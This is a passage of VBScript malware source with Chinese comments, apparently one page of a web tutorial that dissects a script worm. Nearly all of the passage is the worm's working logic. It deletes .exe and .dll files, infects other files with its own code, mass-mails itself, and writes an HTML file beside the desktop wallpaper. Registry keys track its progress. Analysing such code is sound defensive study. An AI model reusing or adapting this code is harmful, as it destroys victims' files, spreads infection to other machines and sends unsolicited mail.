’再读HKEY_CURRENT_USER\Software\Help\FileName键值
f2 = FNext(Of, Od, f1)
’得到该文件的文件名
fext = GetExt(Of, Od, f2)
’得到该文件扩展名的代号
Rw Ks & "Help\FileName", f2
’添加键值
If IsDel(fext) Then
’如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2
’储存文件名
f2 = FNext(Of, Od, f2)
’得到文件的文件名？
Rw Ks & "Help\FileName", f2
’写注册表
Of.DeleteFile f3
’删除文件
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
’如果不是集合中的文件
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
’使用 Cint函数强制执行转换，并发邮件
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
’比较桌面墙纸是否已改变
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] 下一页
|
